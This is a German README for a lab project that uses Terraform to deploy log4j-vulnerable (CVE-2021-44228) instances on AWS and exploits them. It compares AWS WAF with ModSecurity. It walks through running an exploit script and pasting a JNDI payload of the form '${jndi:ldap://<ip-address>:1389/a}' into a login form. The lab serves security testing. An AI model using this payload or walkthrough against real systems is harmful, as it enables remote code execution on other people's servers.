
Die Dateien dieses Projekts demonstrieren einen Proof-of-Concept der log4j-Schwachstelle (CVE-2021-44228) auf AWS mithilfe von Terraform als Infrastructure-as-a-Code-Ansatz.
Diese Projektdateien demonstrieren einen Proof-of-Concept der log4j-Sicherheitslücke (CVE-2021-44228) auf AWS mithilfe von Terraform Infrastructure-as-a-Code.
Es gibt 2 Demos in diesem Projekt:
Fazit: Die erste Demo zeigt einen erfolgreichen Exploit mit AWS WAF. Die zweite Demo war ein fehlgeschlagener Versuch, als ModSecurity aktiviert war. Entfernt man ModSecurity, ist der Exploit erfolgreich. Das liegt möglicherweise daran, dass ModSecurity ein aktives Projekt ist, weshalb die verwundbaren Strings erkannt und herausgefiltert werden.
Dieser PoC stammt von: https://github.com/kozmer/log4j-shell-poc
Dieser Medium-Blog erklärt den Angriffsversuch Schritt für Schritt: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Ich persönlich habe mit Windows + Powershell getestet, die Cloud-Maschine läuft mit Ubuntu 18 LTS. (Ausnutzung mit Kali oder einem beliebigen Linux)
Über das Web anlegen (Name: 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Benutzer auswählen > Bereich security_credentials auswählen
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
Nach dem Ausführen wird eine IP / DNS aufgelistet.
Stelle bei single-instance sicher, dass http:<aws host url>:8080 erreichbar ist.
Stelle bei double-instance sicher, dass http:<aws host url> erreichbar ist.
* Bitte beachte, dass das Hochfahren von 'double-instance' wesentlich länger dauert; nach dem SSH-Zugang zum System kann journalctl -f verwendet werden, um den Fortschritt zu verfolgen.
Wenn man dem Journal folgt, bedeutet „Reached target Cloud-init target.“, dass das System den Bereitschaftszustand erreicht hat.

Ausführungsberechtigung festlegen
chmod +x ../exploit-script-remote.sh
Skript mit der angegebenen Variable ausführen
../exploit-script-remote.sh
Beachte, dass das Payload am Ende des Skripts angezeigt wird, ähnlich wie ${jndi:ldap://<ip-address>:1389/a}
Rufe http:<aws host url>:8080 auf
Kopiere das Payload in das Feld 'username' und sende dann das Formular ab.

JDK-Datei: Die Integrität der Datei aus der Baidu-Quelle wurde sichergestellt; sie stimmt mit dem Hash von Oracle überein.
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Instanz: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
Spot-Instanz: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[SSH-Schlüssel bei Bedarf] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Templating: https://spacelift.io/blog/terraform-templates